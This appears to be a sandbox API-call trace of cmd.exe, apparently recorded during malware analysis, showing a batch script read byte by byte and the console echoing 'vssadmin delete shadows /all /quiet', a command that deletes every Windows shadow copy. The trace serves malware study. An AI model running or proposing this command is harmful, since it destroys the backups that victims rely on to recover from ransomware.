	[0169.647] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.647] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.647] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1
	[0169.647] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.647] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.647] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.647] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c48, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1
	[0169.647] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.647] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.647] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.648] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1
	[0169.648] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.648] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.648] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.648] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1
	[0169.648] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.648] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.648] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.648] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1
	[0169.648] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.648] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.648] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.648] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1
	[0169.648] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.648] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.648] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.648] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1
	[0169.648] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.648] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.648] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.648] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1
	[0169.648] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.648] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.648] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.648] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1
	[0169.648] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.649] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.649] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.649] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1
	[0169.649] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.649] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.649] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.649] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1
	[0169.649] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.649] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.649] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.649] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1
	[0169.649] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.649] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.649] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.649] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0169.649] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.649] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.649] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.649] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1
	[0169.649] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.649] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.649] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.649] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0169.649] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.649] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.649] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.650] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0169.650] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.650] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.650] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.650] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0169.650] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.650] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.650] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.650] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0169.650] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.650] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.650] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.650] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1
	[0169.650] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.650] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.650] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.650] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1
	[0169.650] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.650] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.650] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.650] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1
	[0169.650] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.650] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.650] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.650] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0169.651] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.651] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.651] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.651] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0169.651] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.651] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.651] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.651] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0169.651] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.651] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.651] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.651] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0169.651] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.651] GetFileType (hFile=0x248) returned 0x3
	[0169.651] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.651] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.651] _get_osfhandle (_FileHandle=1) returned 0x254
	[0169.651] GetFileType (hFile=0x254) returned 0x3
	[0169.651] _get_osfhandle (_FileHandle=1) returned 0x254
	[0169.651] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37
	[0169.651] WriteFile (in: hFile=0x254, lpBuffer=0x7ff640c99970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0xd72279fc18, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesWritten=0xd72279fc18*=0x24, lpOverlapped=0x0) returned 1
	[0169.651] GetProcessHeap () returned 0x21a42450000
	[0169.651] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x4012) returned 0x21a42458e90
	[0169.651] GetProcessHeap () returned 0x21a42450000
	[0169.651] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42458e90) returned 1
	[0169.653] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0169.653] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0169.653] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0169.653] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0169.653] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0169.653] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0169.653] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0169.653] GetProcessHeap () returned 0x21a42450000
	[0169.653] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0xb0) returned 0x21a42457340
	[0169.653] GetProcessHeap () returned 0x21a42450000
	[0169.653] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x22) returned 0x21a42456490
	[0169.653] GetProcessHeap () returned 0x21a42450000
	[0169.653] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x48) returned 0x21a424575e0
	[0169.654] GetConsoleOutputCP () returned 0x4e3
	[0169.779] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff640c9fbb0 | out: lpCPInfo=0x7ff640c9fbb0) returned 1
	[0169.779] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0169.910] GetConsoleTitleW (in: lpConsoleTitle=0xd72279fa60, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0170.178] malloc (_Size=0xffce) returned 0x21a42640840
	[0170.178] ??_V@YAXPEAX@Z () returned 0x21a42640840
	[0170.178] malloc (_Size=0xffce) returned 0x21a42650820
	[0170.178] ??_V@YAXPEAX@Z () returned 0x21a42650820
	[0170.178] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0170.178] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0170.178] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0170.178] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0170.178] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0170.178] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0170.178] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0170.178] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0170.178] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0170.178] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0170.178] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0170.178] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0170.178] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0170.178] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0170.178] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0170.178] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0170.178] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0170.179] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
